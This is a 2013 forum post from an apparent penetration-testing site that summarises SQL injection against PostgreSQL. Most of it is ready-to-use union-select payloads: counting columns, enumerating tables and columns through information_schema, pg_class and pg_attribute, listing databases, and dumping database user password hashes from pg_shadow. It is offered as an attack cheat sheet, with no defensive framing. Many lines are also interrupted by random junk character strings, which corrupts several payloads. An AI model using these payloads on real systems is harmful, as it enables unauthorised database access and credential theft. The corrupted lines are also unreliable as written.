中国网络渗透测试联盟

标题: postgreSQL注入总结 [打印本页]

作者: admin 时间: 2013-10-13 12:57
标题: postgreSQL注入总结
结合了MSSQL MySQL Oracle的一些特点

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/# D. E0 o1 F# g; h0 |9 v2 q. M: N
连接符: %20 , + , /**/

内置函数:
- ]5 t! ^! g$ O- p4 w+ s. @, Gcurrent_database() //当前数据库名
* [2 C3 C" r7 Bsession_user //会话用户- ]) q. R% T' N3 @3 n3 l) e
current_user //当前数据库用户: l! S8 x# g! r0 b' ^+ K* Q
user //当前用户0 H8 V' T1 n) g1 v5 C
version() //数据库版本

Union注射:, G6 o" u; v# e2 g# b
order by n–$ a' F; ~' ?# q' P
and 1=2 union select null,null,null–
6 Y: C( |( I( }* t8 Iand 1=2 union select ‘beach’,null,null–9 Z: p& {( r) E) ?# [
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
) Q% i8 d. h; C; sgroup_concat(table_name)5 Z3 A) _9 `0 h8 W/ L* C7 C
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
; o. v" ]* f f4 c" sand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–. [' k) F3 F# t9 n3 N8 |
(老版本)
# {/ @ R; G* ]1 R( Z6 Ipg_class.oid对应pg_attribute.attrelid' v1 [* P7 K/ |9 _9 f0 h
pg_class.relname表名
: e: H+ Y+ |! e" L# D* {pg_attribute.attname字段名

select relname from pg_class获取表名
& d8 b N) |" x; I6 B* t' uselect oid from pg_class where 条件获取参数
' T R8 ^: e. F6 P/ Jselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
4 z5 r& K$ T1 W8 e! |4 yand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
& z1 |+ d0 P: s! Sand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–# e( `) r U4 a: R; {
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
, e w+ u2 Z" d, B' e======================================================================4 Z& }0 w) \3 @3 M, z
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库 n5 j& ~( s% a3 `# f
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)